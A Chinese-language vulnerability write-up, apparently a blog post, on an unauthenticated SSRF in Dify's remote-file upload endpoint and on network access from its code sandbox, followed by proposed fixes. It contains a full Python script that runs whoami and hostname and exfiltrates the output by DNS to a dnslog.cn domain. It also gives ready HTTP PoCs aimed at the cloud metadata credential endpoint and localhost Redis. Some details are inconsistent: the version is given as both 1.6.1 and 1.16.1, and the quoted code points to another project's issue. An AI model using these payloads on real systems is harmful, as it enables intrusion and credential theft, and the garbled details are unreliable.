Dify1.6.1版本:未授权SSRF及代码沙箱
Dify 1.16.1 版本中,发现未授权SSRF漏洞,这与之前的CVE-2025-29720、CVE-2025-56520属于同地址的漏洞,但是我并未在公网上找到详细的分析报告,而且版本很靠前,为什么最新版本的还是会存在这个问题,那就一种可能修了没修好,不管怎么修该有问题下一个版本还是这里出问题。 第二个漏洞就是代码沙箱的网络访问,直接创建节点就可以进行ssrf+命令执行
漏洞说明
Dify 是一款开源的大语言模型 (LLM) 应用开发平台,提供完整的工作流编排、知识库管理和 AI Agent 构建能力。
Dify 1.16.1 版本中,发现未授权SSRF漏洞,这与之前的CVE-2025-29720、CVE-2025-56520属于同地址的漏洞,但是我并未在公网上找到详细的分析报告,而且版本很靠前,为什么最新版本的还是会存在这个问题,那就一种可能修了没修好,不管怎么修该有问题下一个版本还是这里出问题。
影响版本
Dify <= 1.16.1
代码结构
我这里不做详细分解了,https://blog.csdn.net/ssw_1990/article/details/140274031看这里就可以。
分析
我们一个漏洞一个漏洞的来分析,首先是未授权的SSRF
1.未授权SSRF
漏洞成因
1.1:错误的授权顺序问题及装饰器执行顺序问题
文件地址dify-main/api/controllers/console/remote_files.py
@console_ns.route("/remote-files/upload") 5.最后注册路由
class RemoteFileUpload(Resource):
@console_ns.expect(console_ns.models[RemoteFileUploadPayload.__name__]) 4.输入模型
@console_ns.response(201, "File uploaded successfully", console_ns.models[FileWithSignedUrl.__name__]) 3.响应模型
@login_required ### 这里是装饰器,但检查在请求处理之后,应该是之前;2.登录检查,应该在这里最先阻止
@with_current_user 1.获取当前用户,最先执行
def post(self, current_user: Account):
### upload_remote_file_from_request在认证检查前就开始处理了,应该是先认证检查在处理,直接就是相反了
remote_file = upload_remote_file_from_request(current_user=current_user)
return (
remote_file.model_dump(mode="json"),
201,
)console_ns.payload 在路由处理函数被调用前就已经被 Flask-RESTX 解析,而 RemoteFileUploadPayload.model_validate() 不会等待认证检查。
文件地址dify-main/api/controllers/console/remote_files.py
ef upload_remote_file_from_request(
*,
current_user: Account,
resource_tenant_id: str | None = None,
) -> FileWithSignedUrl:
请求中验证并获取远程文件
payload = RemoteFileUploadPayload.model_validate(console_ns.payload)
"""Validate the JSON request, fetch its remote file, and persist it under the requested tenant."""
url = payload.url 用户可控的url
# Try to fetch remote file metadata/content first
try:
resp = remote_fetcher.make_request("HEAD", url=url)
if resp.status_code != httpx.codes.OK:
如果HEAD失败,会再次发get请求
resp = remote_fetcher.make_request("GET", url=url, timeout=3, follow_redirects=True)
if resp.status_code != httpx.codes.OK:
# Normalize into a user-friendly error message expected by tests
raise RemoteFileUploadError(f"Failed to fetch file from {url}: {resp.text}")
except httpx.RequestError as e:
错误消息中包含了url,帮助请求者确认请求已经发送,这里预示着后面会发生的事
raise RemoteFileUploadError(f"Failed to fetch file from {url}: {str(e)}")这里发生的会预示着poc执行的结果
1.2:SSRF防护
文件地址dify-main/api/core/helper/ssrf_proxy.py
检查Squid代理的SSRF防护
if response.status_code in (401, 403):
# Check if this is a Squid SSRF rejection
server_header = response.headers.get("server", "").lower()
via_header = response.headers.get("via", "").lower()
这里只检查了Squid,其他代理或者没有代理环境则没有保护,所以也是一个问题
# Squid typically identifies itself in Server or Via headers
if "squid" in server_header or "squid" in via_header:
response.close()
raise ToolSSRFError(
f"Access to '{url}' was blocked by SSRF protection "
f"(e.g. SSRF_PROXY_ALLOW_PRIVATE_IPS=172.21.0.0/16 to "
f"allow 172.21.0.0/16). The URL resolves to a private, "
f"loopback, link-local, or otherwise non-public network "
f"address. See https://github.com/infiniflow/ragflow/issues/38443."
)这里只有一个Squid代理的SSRF防护,其他的并没有所以不适用Squid代理或者没有代理那我们就随意了呀。
这里是文字的描述,那我们用图片来解释一下

看着很简单吧,其实就是这么简单,我们解释一下:
首先我们构造了payload之后,他会传进flask解释器这里,然后通过错误的授权顺序与执行顺序进行了一个交互,也就是先进行了解析请求体->获取当前用户->检查登录状态->但是这时候已经调用了,ssrf被触发之后服务器向我们指定的地址进行一个请求,这时候在检查,当然就已经晚了我们内部已经完成了一个解析并执行了SSRF,最终他会返回一个401的报错(未授权),但是报错中同步跟着我们需要的数据(当然需要dns同步跟着检测)。
来验证一下

poc后续会发出来
2.代码沙箱
这个更简单可以进行一个代码执行
漏洞成因
2.1沙箱中网络访问
def execute_code(cls, language: CodeLanguage, preload: str, code: str) -> str:
"""
Execute code
:param language: code language
:param preload: the preload script
:param code: code
:return:
"""
running_language = cls.code_language_to_running_language.get(language)
if running_language is None:
raise CodeExecutionError(f"Unsupported language {language}")
url = code_execution_endpoint_url / "v1" / "sandbox" / "run"
headers = {"X-Api-Key": dify_config.CODE_EXECUTION_API_KEY}
构造沙箱执行请求
data = {
"language": running_language,
"code": code,
"preload": preload,
"enable_network": True, 允许网络访问就这一条就让我们可以通过dns来进行whoami执行
但是我们需要创建一个工作流->添加一个代码节点->选择python语言->把代码放进编辑器就行,这里不做解释了,因为本机启动的docker卡死状态


然后在节点中将以下python脚本放进去,就可以进行一个dns的测试
import socket
import subprocess
import json
import time
from datetime import datetime
def exfiltrate_via_dns(data, dnslog_domain):
# 清理数据,移除特殊字符
clean_data = data.replace('\\', '-').replace('/', '-').replace(' ', '-')
clean_data = clean_data.replace('\n', '').replace('\r', '')
# DNS 标签限制:最多 63 个字符
if len(clean_data) > 50:
clean_data = clean_data[:50]
# 构造子域名
subdomain = f"{clean_data}.{dnslog_domain}"
try:
ip = socket.gethostbyname(subdomain)
return {
"success": True,
"subdomain": subdomain,
"resolved_ip": ip,
"data_sent": clean_data
}
except Exception as e:
return {
"success": False,
"subdomain": subdomain,
"error": str(e),
"data_attempted": clean_data
}
def main():
"""执行 whoami 并通过 DNS 外带结果"""
dnslog_domain = "hv6wgj.dnslog.cn"
timestamp = int(time.time())
print("="*60)
print("Dify Code Sandbox - whoami Data Exfiltration Test")
print("="*60)
print(f"DNSLog Target: {dnslog_domain}")
print(f"Timestamp: {timestamp}")
print(f"Test Time: {datetime.now().isoformat()}")
print("="*60)
print()
results = {
"test_name": "whoami Data Exfiltration via DNS",
"timestamp": datetime.now().isoformat(),
"unix_timestamp": timestamp,
"dnslog_domain": dnslog_domain,
"tests": []
}
# 1: 执行 whoami 命令
print("[Test 1] Execute whoami command")
try:
whoami_result = subprocess.check_output("whoami", shell=True, text=True).strip()
print(f" [+] whoami result: {whoami_result}")
test1 = {
"id": 1,
"name": "Execute whoami",
"status": "SUCCESS",
"command": "whoami",
"output": whoami_result
}
except Exception as e:
print(f" [-] Failed to execute whoami: {e}")
whoami_result = "UNKNOWN"
test1 = {
"id": 1,
"name": "Execute whoami",
"status": "FAILED",
"command": "whoami",
"error": str(e)
}
results["tests"].append(test1)
# 2: 通过 DNS 外带 whoami 结果
print("\n[Test 2] Exfiltrate whoami via DNS")
# 方法 1: 直接外带用户名
print(" [*] Method 1: Direct username exfiltration")
exfil1 = exfiltrate_via_dns(f"whoami-{whoami_result}", dnslog_domain)
if exfil1["success"]:
print(f" [+] DNS query successful")
print(f" Subdomain: {exfil1['subdomain']}")
print(f" Resolved to: {exfil1['resolved_ip']}")
else:
print(f" [-] DNS query failed: {exfil1['error']}")
test2 = {
"id": 2,
"name": "Direct Username Exfiltration",
"method": "DNS subdomain",
"status": "SUCCESS" if exfil1["success"] else "FAILED",
"result": exfil1
}
results["tests"].append(test2)
# 3: 获取主机名并外带
print("\n[Test 3] Exfiltrate hostname via DNS")
try:
hostname = subprocess.check_output("hostname", shell=True, text=True).strip()
print(f" [+] hostname result: {hostname}")
exfil3 = exfiltrate_via_dns(f"host-{hostname}-{timestamp}", dnslog_domain)
if exfil3["success"]:
print(f" [+] DNS query successful")
print(f" Subdomain: {exfil3['subdomain']}")
test4 = {
"id": 4,
"name": "Hostname Exfiltration",
"command": "hostname",
"output": hostname,
"status": "SUCCESS" if exfil3["success"] else "FAILED",
"result": exfil3
}
except Exception as e:
print(f" [-] Failed: {e}")
test4 = {
"id": 4,
"name": "Hostname Exfiltration",
"status": "FAILED",
"error": str(e)
}
results["tests"].append(test4)
# 4: 外带用户和主机组合
print("\n[Test 4] Exfiltrate combined info")
try:
combined = f"{whoami_result}-at-{hostname}"
exfil4 = exfiltrate_via_dns(f"combo-{combined}-{timestamp}", dnslog_domain)
if exfil4["success"]:
print(f" [+] Combined info sent via DNS")
print(f" Subdomain: {exfil4['subdomain']}")
test5 = {
"id": 5,
"name": "Combined User+Host Exfiltration",
"data": combined,
"status": "SUCCESS" if exfil4["success"] else "FAILED",
"result": exfil4
}
except Exception as e:
print(f" [-] Failed: {e}")
test5 = {
"id": 5,
"name": "Combined User+Host Exfiltration",
"status": "FAILED",
"error": str(e)
}
results["tests"].append(test5)
# 结果
print("\n" + "="*60)
print("FINAL RESULTS")
print("="*60)
print(json.dumps(results, indent=2))
print("="*60)
# 执行测试
result = main()
很简单的两个,问题,但是危害性很大谨慎测试
POC
# POC1
POST /console/api/remote-files/upload HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/json
Content-Length: 45
{"url":"http://httpbin.org/ip"}
# POC2
POST /console/api/remote-files/upload HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/json
Content-Length: 85
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# POC3
POST /console/api/remote-files/upload HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/json
Content-Length: 40
{"url":"http://localhost:6379/"}
# POC4
POST /console/api/remote-files/upload HTTP/1.1
Host: xxxxxxxxx
Content-Type: application/json
Content-Length: 52
{"url":"http://ssrf-test.a0m399.dnslog.cn/"}修复方案
1.认证问题
文件地址:controllers/console/remote_files.py
@console_ns.route("/remote-files/upload")
class RemoteFileUpload(Resource):
#添加 @login_required 装饰器
@setup_required
@login_required # 强制认证
@account_initialization_required # 验证账户状态
@cloud_edition_billing_resource_check("remote-file-upload")
@console_ns.expect(console_ns.models[RemoteFileUploadPayload.__name__])
@console_ns.response(201, "File uploaded successfully", ...)
@with_current_user
def post(self, current_user: Account):
#验证用户对象
if not current_user or not isinstance(current_user, Account):
raise Unauthorized("Authentication required")
remote_file = upload_remote_file_from_request(current_user=current_user)
return (remote_file.model_dump(mode="json"), 201)2: URL 安全验证
import ipaddress
import re
from urllib.parse import urlparse
BLOCKED_HOSTS = {
'localhost', '127.0.0.1', '0.0.0.0', '::1',
'169.254.169.254', # AWS/Azure
'metadata.google.internal', # GCP
'100.100.100.200', #阿里云
}
def validate_url_security(url: str) -> tuple[bool, str]:
try:
parsed = urlparse(url)
# 1协议检查
if parsed.scheme not in ('http', 'https'):
return False, f"Protocol '{parsed.scheme}' not allowed"
# 2主机名检查
hostname = parsed.hostname
if not hostname:
return False, "Invalid hostname"
# 3黑名单检查
if hostname.lower() in BLOCKED_HOSTS:
return False, f"Access to '{hostname}' is blocked"
# 4IP地址检查
try:
ip_obj = ipaddress.ip_address(hostname)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
return False, f"Private/internal IP not allowed: {hostname}"
except ValueError:
pass
# 5端口检查
if parsed.port and parsed.port not in (80, 443):
return False, f"Non-standard port {parsed.port} not allowed"
return True, ""
except Exception as e:
return False, f"URL validation error: {str(e)}"
# 在 upload_remote_file_from_request 中使用
def upload_remote_file_from_request(...):
payload = RemoteFileUploadPayload.model_validate(console_ns.payload)
url = str(payload.url)
#URL 安全验证
is_safe, error_msg = validate_url_security(url)
if not is_safe:
raise ValueError(f"URL validation failed: {error_msg}")3: 代码沙箱网络访问
文件地址:api/core/helper/code_executor/code_executor.py
# 修改前
data = {
"enable_network": True,
}
# 修改后
data = {
"enable_network": False, # ← 默认禁用网络访问
}
# 或者:通过配置控制
enable_network = os.getenv('CODE_EXECUTOR_ENABLE_NETWORK', 'false').lower() == 'true'
data = {
"enable_network": enable_network,
}